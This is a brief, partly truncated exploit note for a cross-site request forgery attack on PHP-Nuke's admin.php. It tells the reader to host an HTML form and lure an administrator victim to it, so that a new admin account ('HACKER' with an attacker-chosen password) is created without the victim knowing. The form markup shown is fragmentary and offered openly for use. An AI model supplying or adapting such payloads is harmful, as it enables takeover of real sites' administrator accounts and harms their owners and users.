Paste this code into an HTML page then link it to victim (victim must be admin)

	
ACTION="http://VICTIMURL/nuke/admin.php" target="aiuto" METHOD=POST> 
	
	
value="YOURMAIL@YOURDOMAIN.IT"> 
	
	
	
	
	
	
	
 

You are admin now ;)

Then you can log in into phpnuke with user HACKER and pass YOURPASSWORD...